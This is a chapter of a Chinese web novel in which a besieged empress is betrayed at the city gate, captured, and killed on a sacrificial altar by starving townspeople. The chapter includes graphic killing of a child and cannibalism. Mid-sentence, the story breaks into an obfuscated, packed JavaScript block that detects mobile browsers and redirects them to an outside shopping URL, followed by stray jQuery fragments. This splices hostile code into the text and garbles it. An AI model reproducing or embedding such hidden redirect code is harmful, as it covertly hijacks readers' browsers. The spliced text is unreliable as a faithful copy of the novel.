134. 第 134 章
作品:《亡国君是白月光》 “陛下!前面就是永安门!咱们……咱们回来了。”
周昭的亲兵牵着狼牙,一说话便有两道冰柱子一样的泪水从眼眶里滚下来,说话也说不利索,整张脸黑得像刚从烧柴火的炉灶里扒拉出来,只剩一双眼睛从盔甲下面露出来。黑是黑,白是白,眼底还粘连着一片血浸浸的红。
狼牙本就是一匹略带点儿红色的千里马,如今更是红得让人胆战心惊,简直像从血水里爬出来。
马背上趴着的人闻言缓缓抬起头,她的嘴唇裂开了无数细小的口子,发丝粘在脸上,握着缰绳的手包着一块脏污的布条,血渗出来又滚进马身上的鬃毛。
周昭身后不过几千人。
桦城惨败,大咸关失守,他们一路节节败退,不眠不休七天,这支由天子亲率的玄甲营终于回到盛都。
腊月十二,不光谢景没有出兵,凉州就像提前知道消息,早早地就埋伏在对岸。
周昭虽然给北疆送去密信,万一黎国出尔反尔想要浑水摸鱼,一定要第一时间断了晋川那条路,再南下驰援。
但所有人都没料到的是,腊月十二的北疆风平浪静,黎国兵马丝毫未动,燕飞监视到半夜觉得不对劲,立刻率军南下。
谁知燕飞这一动,不知怎地让黎国如临大敌,就跟疯了一样奋起反扑。等燕飞从晋川之战抽出身来,汴江的炮火已经响彻一夜。
之所以没有全军覆没,是因为行军前夜周昭不放心,留了两万玄甲营没有渡江。
就是这两万人,硬是杀出条血路,从桦城护送周昭回城。周昭是在半路醒来的,亲兵说燕大将军已经率军从北疆赶来,途中遇到黎国军队鏖战数日,目前还没有收到最新战况。
周昭刚听完这个消息又体力不支昏迷过去,梦里想起来是赵六子用自己的身躯将她托出江水,一遍遍跟她说不能睡。
周昭果然没再睡着,一个激灵从噩梦中醒过来。
此刻周昭遥望远方,似乎看到了“永安门”三个铿锵有力的大字,本来应该心安,她却陡然想起五年前永安门下的那场暴乱,心里一惊,手中马鞭滑落在地。
那士兵捡起来马鞭恭恭敬敬地递给她,脸上的泪已经止住了,声音还有点抖:“陛下。”
周昭接过马鞭,低头看了眼那个士兵,不大熟悉,便问:“你多大了?”
士兵赶紧伸手在黑脸上抹了一把,站直了,周昭抬起马鞭示意他不必拘礼,继续往前走,士兵挠了挠头,说:“回陛下,再有几天,我就满二十了。”
周昭嗯了一声:“及冠之年,是个好年纪。”
士兵的脸黑得七荤八素,还能看出来一点儿即刻黯淡下去的情绪,低声道:“可我家里人都死绝了……”
周昭没问,到底是因为槐鬼死的还是因为战争,她淡淡道:“回头,朕送你一副冠礼。”
如果还有机会的话。
士兵还没来得及高兴,突如其来的喊杀声便震破黎明,将黑压压的云层撕开一道口子,雨丝悄无声息地飘下来。
......
敌人比燕飞战死的消息先一步来到盛都,周昭带着残部杀红了眼,她身后就是盛都,半步也不敢退。
就到这里了吗?周昭心想。
这风雨飘扬中的王朝,气数真的尽了吗?
也是怪事,周昭忽然想起十二岁那年在灵念寺说的那句“事在人为,不言天命”,可能就是这句话让周昭突然间精神一振,连身上的伤仿佛都一点儿感觉没有了。
她头脑前所未有的清醒,迅速分析出局势:
如今虽然敌军兵临城下,但未必就是绝境。看似来势汹汹,但敌人的战线拉得太长了,长,便容易顾头不顾尾。
盛都是大周的主战场,城中尚有禁军守卫两万有余,如果能坚持到援军到来,光是粮草一项就能拖死对方。
周昭迅速唤来一名信得过的副将,将半边兵符交到他手上,不容置喙道:“拿着!回城去找闫斯年,跟他说见不到另外半边兵符,无论如何城门不能开!”
“陛下......”
“滚!”周昭扬起马鞭甩在那小将身下坐骑屁股上,转身举剑喝道:“众将士听令!随朕踏平敌首!胆敢退者!杀无赦!”
周昭一马当先,竟真的让低迷的士气再度激昂,硬生生逼退敌军十里。作战讲究一鼓作气,那凉州大军猛然间见到一头猛虎殊死抵抗,连攻不下,到了晚上终于偃旗息鼓。
副将谭子卓见缝插针策马至王帐,帐外士兵刚通传完,里面便传来低沉的一声:“进。”
谭子卓当年跟在周昭身边时,还是个面皮白细的小将,如今已经是玄甲营右将军,胡子拉碴看不到五官。他掀帐进去,一股铁锈气息的血腥直往鼻子里钻。周昭白日右下腹挨了一剑,刚缝好,血还在从层层叠叠的纱布里往外冒。
堂堂七尺男儿脸色先白了半边,半晌没说话。
周昭蹙了蹙眉,谭子卓打了个激灵,霎时反应过来,进言道:“陛下,咱们打不起持久战,当务之急不如先撤回城中。留得青山在,不怕没柴烧!”
周昭自然知道对方说得在理。这里虽然是个隆起的土坡,能守一时,但凉州人数众多,白日那一仗虽然将对方逼回去一截,要不了多久就会反应过来,届时他们这几千残兵只会是下酒菜。
周昭沉默了不多时,她唇色雪白,说话声音也低,却一字一句都像往地上砸钉子:“传令下去,休整一刻钟,回城。”
周朝的军队就像一群濒死的狼,他们望着那近在咫尺的城楼,透过城楼上点点幽光望进千家万户,望进城中那一盏为自己亮着的灯。
这群苟延残喘的狼,拖着沉重的步伐向前走,忽然间,不知是谁抹了把脸上雾气蒙蒙的雨丝,抬头看了眼,困惑道:“大半夜的,天上那是纸鸢吗?”
士兵们一个接一个地抬头,果然看见数不清的,像纸鸢一样的东西从头顶飘过去。
今夜东南风,这些在大雾里凭空出现纸鸢乘着风,许多已经神不知鬼不觉地飘进了盛都城。
周昭第一反应是凉州人又在耍什么鬼把戏,她取过一支箭,瞄准一只刚好飞过去的纸鸢拉开弓。那鸢像折了翅膀一头栽下来,一个士兵小跑着来到周昭马前,捧着纸鸢道:“陛下,这上面好像有字。”
周昭狐疑地展开一看,一口气上不来,险些从马背上跌下去。
那鸢身上只写了短短三行字:
周天子杀母、弑兄、通敌。
周氏皇族,可解槐鬼之毒。
杀周天子者,赏灵台神血。
……
伴随着漫天纸鸢飞来的,是远处卷土重来的凉州大军。梁文潜那张已经显出几分阴鸷的脸,招摇过市般露出来,大喊道:“杀周昭者!可挖其心!”
“奶奶的!老子宰了你!”谭子卓一边砍落射过来的箭雨,一边揪了几个士兵护驾,高声道:“陛下!快走!再不走来不及了!”
这时,那名周昭白日说要送给他一副冠礼的士兵突然悄悄地问身边人:“……那纸鸢上说的是真的吗?”
虽然周遭喊杀声震天,但这句话不知怎的,准确无误地钻进了周昭耳朵里。
她一下就愣住了。
血液仿佛在那一刻冻成了冰,周昭突然觉得,周围所有人的目光都不约而同地落在自己身上。
她听见风声,本能地抬起头看了看,一只闪着寒光的箭从永安门的方向射过来,正中她胸口。
城楼上那名士兵举着弓高喊:“周昭通敌叛国,欺瞒百姓!这样的皇帝,谁还要替她卖命!”
周昭一动不动地站在原地,她脑海里闪过一个念头——这人可能是个奸细——但她那根撑了这么久的弦已经被这一箭射断了。
周昭本来应该在五年前就死了,硬是顶着一根脊梁骨,撑起这个风雨中摇摇欲坠的王朝。
她不能死,她死了大周怎么办,百姓怎么办。
直到今天再次经过永安门,被自己人一箭射中靶心。
左右之人都被这石破天惊的一箭骇住,一时间两军阵营竟无人敢动。
就到这里了。
从周昭没有在城楼上看见本该率领禁军迎敌的闫斯年时,就知道大势已去。她反手把箭拔出来,哼都没哼一声,谭子卓声线发抖:“陛下……”
周昭掀起眼皮看了他一眼,那眼神出乎意料的平静,周昭将剩下半块兵符交给他:“如果有机会,回城去找斯年,就说……”她艰涩地摇摇头,没说完,末了动了动干裂的嘴唇:“朕对不起你们。”
谭子卓一时大怮,举着兵符喊道:“圣上兵符在此!开城门!速开城门!”
回答他的是一排凌厉的弓箭。
“闫斯年!你个杂种!”
他转身冲进敌阵,身后亲兵一拥而上,像一根点燃的引线,又将这短暂中止的战场重新引爆。
周昭不知是受伤太重还是无心再打,靠着狼牙坐在地上,每当有敌人靠近,狼牙便举起双蹄奋起还击,竟也踢伤了几个凉州人。
但再坚硬的马蹄也比不得开过刃的刀剑,狼牙在挨了几剑过后轰的一声倒下去,周昭感觉自己应该也快死了。她靠着狼牙渐渐冷去的马腹,眼睛里还剩一丝光亮的时候,一双脚踏过地上黏稠的血走到她面前,道:“陛下,久仰圣名。”
周昭抬起黑沉沉的眼睛,扯了抹笑:“尔等鼠辈,也敢造次。”
凉州王不为所动:“来个人给咱们陛下治伤,陛下这身血,可不是一般的金贵。”
.....
一场大雪悄无声息地落下来,雪花掩埋不住蜿蜒的鲜血,大地呈现出触目惊心的伤口。
凉州大军宛如一把插进胸膛的匕首,浩浩荡荡地开进盛都,永安门被连天的炮火震碎了城楼,露出矗立了数千年的血肉。
周昭那道箭伤靠近肩膀,看似凶险但并不致命。她醒来时缓了许久,才反应过来自己还活着,刺鼻的硝烟和漫天鹅毛大雪混在一起,她觉得有些恍惚,不真实,就好像这一切都是大梦一场,梦醒后她还是那个在苍界山上无忧无虑的小公主。
冰冷的雪花一片接着一片落在周昭的脸上,她低头看了看自己,发现没死,只是手脚都被绑住了。
不光如此,她的腕上各系着一串金铃,盔甲已除,身上穿着件红衣,上面印着诡异繁复的纹路。
周昭脑子不太清楚,过了阵子才想起,这应该是为了防止尸变所用到的阵法道具。她一时竟有些想笑,梁文潜谨慎至此,可真是煞费苦心。
这是哪儿?
周昭看见那两只巨大的青铜鼎,想起来了——
这是祭天台。
“陛下!”一声痛苦的叫声被风声送到耳边,周昭侧过脸,先是看见披头散发的闫斯年,再是他身后好整以暇坐在软椅上的梁文潜。
闫斯年被两个人按住肩膀,须发全白,竟像个风烛残年的老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290639|184482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。
周昭心里略微动了动,有点不忍心看。
“带上来!”
一只巨大的铁笼被四个人抬上来,里面装着一个七八岁的小女孩,长了一张酷似闫斯年的脸,细看眉眼却像她的母亲。
闫斯年对着笼子猛扑过去:“彤彤!”
“爹爹!”那叫彤彤的女孩哇哇大哭,袖子里露出两截木头胳膊。
“彤彤别怕!爹爹马上救你!”押着闫斯年的人得了命令放开他,闫斯年跪着爬到祭台边上,曾经潇洒恣意的统领如今抖得像风里的烛火,痛哭道:“陛下,臣……臣没办好您的差事。”
周昭望着黑漆漆的天,想劝劝闫斯年,但盛都城破这个念头如一把钢刀楔进脑子里,她张了半天嘴,一个字也没想起来要说什么。
梁文潜扔给闫斯年一把匕首,哐当一声砸在地上,扬着下巴道:“把她的心挖出来,救你女儿。”
那小女孩哭得撕心裂肺,闫斯年颤抖着去摸那把刀,摸了几次都哆嗦着掉下去,他朝周昭磕了个头,黑的白的都磕在这祭天台上。
从前看一眼挖心都要扶着墙吐半天的闫斯年,似乎下定了某种决心,将刀紧紧地捏住。
他转身走向铁笼,尽力露出一抹笑,那孩子跌跌撞撞地隔着铁笼扑到他怀里,举着手臂喊疼,闫斯年轻轻摸了摸她的头,柔声哄着她:“彤彤乖,马上就不疼了,爹很快就能救你。”
“爹爹,我怕……”
“彤彤别怕,爹在呢。”闫斯年隔着铁栏抱住那孩子瘦小的身体,突然一声闷响,黑血从铁笼里缓慢地流出来,那孩子一声不吭地死了,闫斯年大叫一声一跃而起,将刀子拔出来刺向梁文潜:“陛下!臣先走一步!”
闫斯年那把手掌长的短匕首自然没能杀了梁文潜,被梁文潜两个守卫一人戳了一剑,从祭天台上扔了下去。
周昭颤颤巍巍地闭上眼,世界顿时漆黑一片。
……
雪越下越大了,周昭浑身发冷,夜风吹得城中哭咽声断断续续。
苍鹰断翅,沉于九霄。
凉州王入城后花了三天三夜,杀光了除周昭外所有皇族,一把火将堆积成山的尸体付之一炬。
其实那把火多余放,百姓跟疯了一样钻进火海里徒手挖出皇族的尸体,狼吞虎咽,宛如野兽。
有的被当场烧死,有的被周围抢食人心的陌生人杀死,有的则疯疯癫癫地吞了心。
有的哭,有的笑......
最后一个槐鬼解药被堂而皇之地放置在祭天台上,并不设人看守,只说天子神血可避灾,其心可解百毒。
周昭当年隐瞒皇室就是槐鬼解药时,就预想过会有这么一天,只是她没得选。
她清楚地知道这件事大白于天下之日,就是她身败名裂之时。用她一个人的名声换几年太平,周昭觉得挺值。
不过周昭总还心存一点点希望,或许有人可以理解她,可以宽恕她,或许万家灯火还有她一盏。
但事实证明,希望这种东西是给上天眷顾之人的,然而上天从来不会眷顾双手沾满献血的人。
火势漫天,周昭躺在冰冷的祭台上,平静地望着这人间地狱,到处都是熊熊火光,到处都是手持凶器想要取她性命的百姓。
周昭不知道的是,早就三天前那场疯狂的大火之后,盛都城的槐鬼一夜之间全都死绝了。
没有人知道为什么。
虽然槐鬼已经死绝,但恐惧却深深刻在了人们的骨血。总有人想活下去,总有人想让亲人活下去。
起初是一个,后来是两个,无数个......
他们争先恐后地跑上祭天台,群情激奋细数着周昭的罪状,忘了从前是如何将周昭当做神女供奉,忘了正是他们口中这个“千古罪人”死守着这座城。
他们用刀或者是别的什么利刃,划开周昭的皮肤,温热的血流出血管很快变冷,他们接住这从她的身体里淌出来的“神血”,嘴里骂着,喊着,却没有一个人敢用眼睛看她。
“陛、陛下,民妇不是故意要害您的......”一个抱着婴孩的妇人跪在周昭身边,她哭得那样伤心,襁褓中的婴儿伸出青紫的胳膊哇哇大哭,“陛下,求您赏我儿一点神血吧......”
说着,她掏出一把冷冰冰的匕首,准确无误地割在周昭喉咙上,血瞬间喷薄而出,溅到那妇人惊骇的脸上。她反应了一下,眨眼间变得狰狞可怖,将婴儿的嘴凑到周昭面前,红着眼睛道:“喝!儿快喝呀!这是神血,喝了就再不用怕那槐鬼了!”
周昭意识模糊前心想,这大概就是报应,是她从前拔了那姜国人舌头的报应。
吵嚷声中,一把刀粗暴地插入胸口,周昭这时候才知道,原来人被挖了心是不会立刻死的。
她渐渐看不清眼前的东西,头颅软绵绵地垂到一侧,透过拥挤的人群,周昭忽然看到祭天台下不知道什么时候多了一棵参天大树。
树下有一群衣衫褴褛的乞丐,正眼巴巴地望着祭天台。那棵槐树跟周昭从前看过的都不同,那就只是一棵槐树,上面既没有人脸也没有鬼头,今夜虽是隆冬大雪,槐树却一点点绽放出白色的小花,很是稚嫩,在风雪中轻轻摇曳着枝桠。
汇成溪流的血水一直沿着祭天台流淌,淌到树根底下,让那棵槐树开出的花似乎也染上丝丝血红。
安平六年冬,周朝最后一位皇帝死于祭天台,流干了最后一滴神血。

